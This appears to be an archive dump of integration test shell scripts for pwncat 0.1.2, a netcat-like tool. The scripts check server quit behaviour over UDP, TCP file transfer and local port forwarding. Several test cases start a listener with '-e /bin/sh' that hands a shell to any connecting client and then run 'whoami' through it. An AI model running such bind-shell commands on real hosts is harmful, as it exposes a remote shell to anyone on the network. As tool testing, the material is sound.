# ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "1" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv --udp-sconnect --udp-sconnect-word" "2" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "3" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv --udp-sconnect --udp-sconnect-word" "4" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "5" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "6" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "7" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown -u " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "9" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "10" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "11" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv --udp-sconnect --udp-sconnect-word" "12" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "13" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "14" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "15" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RHOST} ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown -u " "16" "16" "${curr_round}" "${RUNS}" done 201---udp---server_reacc---when_client_is_killed---server_command---after_client_sent_command.sh000077500000000000000000000262051414025024700446600ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/02-behaviour-quit--server#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="whoami\\n" expect="$(whoami)\\n" expect_or="$(whoami)\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/10) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/10) Start: Client (round 1)" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/10) Transfer: Client -> Server -> Client (round 1)" # [CLIENT -> SERVER -> CLIENT] wait_for_data_transferred "" "${expect}" "${expect_or}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(4/10) Stop: Client (round 1)" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(5/10) Test: Server stays alive (round 1)" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(6/10) Start: Client (round 2)" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(7/10) Transfer: Client -> Server -> Client (round 2)" # [CLIENT -> SERVER -> CLIENT] wait_for_data_transferred "" "${expect}" "${expect_or}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(8/10) Stop: Client (round 2)" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(9/10) Test: Server stays alive (round 2)" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(10/10) Stop: Server" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "1" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv --udp-sconnect --udp-sconnect-word" "2" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "3" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv --udp-sconnect --udp-sconnect-word" "4" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "5" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "6" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "7" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RPORT} --no-shutdown -e /bin/sh -u " "${RHOST} ${RPORT} --no-shutdown -u " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "9" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "10" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "11" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv --udp-sconnect --udp-sconnect-word" "12" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "13" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "14" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "15" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u " "${RHOST} ${RPORT} --no-shutdown -u " "16" "16" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/02-behaviour-quit--server/README.md000066400000000000000000000002631414025024700245160ustar00rootroot00000000000000# Server quit behaviour These tests ensure the server 1. quits automatically in TCP mode 2. stays alive in UDP mode for various different scenarious when the client is killed. pwncat-0.1.2/tests/integration/03-behaviour-base--file_transfer/000077500000000000000000000000001414025024700245045ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/03-behaviour-base--file_transfer/000---tcp---client_sends-normal.sh000077500000000000000000000156541414025024700323630ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" #local data= #local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/5) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/5) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "cat /bin/ls" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is done run "sleep ${STARTUP_WAIT}" # Give some time for transfer run "sleep 10" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/5) Transfer: Client -> Server" # [CLIENT -> SERVER] if ! run "diff /bin/ls ${srv_stdout}"; then kill_pid "${srv_pid}" || true kill_pid "${cli_pid}" || true print_error "Transferred files differ" print_file "SERVER] - [/dev/stderr" "${srv_stderr}" print_file "CLIENT] - [/dev/stderr" "${cli_stderr}" exit 1 fi # -------------------------------------------------------------------------------- # TEST: Server shut down automatically # -------------------------------------------------------------------------------- print_h2 "(4/5) Test: Server shut down automatically" # [SERVER] Ensure Server has quit automatically test_case_instance_is_stopped "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Client shut down automatically # -------------------------------------------------------------------------------- print_h2 "(5/5) Test: Client shut down automatically" # [CLIENT] Ensure Client has quit automatically test_case_instance_is_stopped "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} -vvvv" "1" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "2" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "3" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} -vvvv" "4" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "5" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} -vvvv" "6" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "7" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RPORT} --no-shutdown " "${RHOST} ${RPORT} " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} -vvvv" "9" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "10" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "11" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} -vvvv" "12" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "13" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} -vvvv" "14" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "15" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RHOST} ${RPORT} --no-shutdown " "${RHOST} ${RPORT} " "16" "16" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/03-behaviour-base--file_transfer/001---tcp---client_sends-on_eof.sh000077500000000000000000000162141414025024700323320ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" #local data= #local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/5) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/5) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "cat /bin/ls" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is done run "sleep ${STARTUP_WAIT}" # Give some time for transfer run "sleep 10" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/5) Transfer: Client -> Server" # [CLIENT -> SERVER] if ! run "diff /bin/ls ${srv_stdout}"; then kill_pid "${srv_pid}" || true kill_pid "${cli_pid}" || true print_error "Transferred files differ" print_file "SERVER] - [/dev/stderr" "${srv_stderr}" print_file "CLIENT] - [/dev/stderr" "${cli_stderr}" exit 1 fi # -------------------------------------------------------------------------------- # TEST: Server shut down automatically # -------------------------------------------------------------------------------- print_h2 "(4/5) Test: Server shut down automatically" # [SERVER] Ensure Server has quit automatically test_case_instance_is_stopped "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Client shut down automatically # -------------------------------------------------------------------------------- print_h2 "(5/5) Test: Client shut down automatically" # [CLIENT] Ensure Client has quit automatically test_case_instance_is_stopped "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --send-on-eof -vvvv" "1" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --send-on-eof -4 -vvvv" "2" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --send-on-eof -6 -vvvv" "3" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --send-on-eof -vvvv" "4" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --send-on-eof -4 -vvvv" "5" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --send-on-eof -vvvv" "6" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --send-on-eof -6 -vvvv" "7" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --send-on-eof " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --send-on-eof -vvvv" "9" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --send-on-eof -4 -vvvv" "10" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --send-on-eof -6 -vvvv" "11" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --send-on-eof -vvvv" "12" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --send-on-eof -4 -vvvv" "13" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --send-on-eof -vvvv" "14" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --send-on-eof -6 -vvvv" "15" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RHOST} ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --send-on-eof " "16" "16" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/10-mode---local_forward/000077500000000000000000000000001414025024700226025ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/10-mode---local_forward/000---tcp---www-forward.sh000077500000000000000000000176111414025024700270020ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" THOST="www.google.com" TPORT="80" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "HEAD / HTTP/1.1\\n\\n" > "${data}" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli1_stdout="$(tmp_file)" cli1_stderr="$(tmp_file)" cli2_stdout="$(tmp_file)" cli2_stderr="$(tmp_file)" cli3_stdout="$(tmp_file)" 